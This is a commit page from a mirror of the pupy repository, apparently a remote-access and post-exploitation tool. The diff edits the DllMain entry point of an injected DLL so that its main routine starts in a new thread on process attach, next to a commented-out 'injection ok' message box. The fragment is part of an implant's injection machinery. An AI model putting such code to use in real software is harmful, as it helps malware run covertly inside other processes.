mirror of https://github.com/n1nj4sec/pupy.git
Make sure mainThread started from DLL. Mistake?
This commit is contained in:
parent
51ec01b288
commit
ef7c494301
|
@ -25,7 +25,7 @@ BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
|||
case DLL_PROCESS_ATTACH:
|
||||
//MessageBoxA(0, "injection ok", "injection ok", MB_OK | MB_ICONINFORMATION);
|
||||
hAppInstance = hinstDLL;
|
||||
mainThread(NULL);
|
||||
/* mainThread(NULL); */
|
||||
hThread = CreateThread(NULL,
|
||||
0, // dwStackSize
|
||||
mainThread, // lpStartAddress
|
||||
|
@ -42,4 +42,3 @@ BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
|||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
|
||||
|
|
Loading…
Reference in New Issue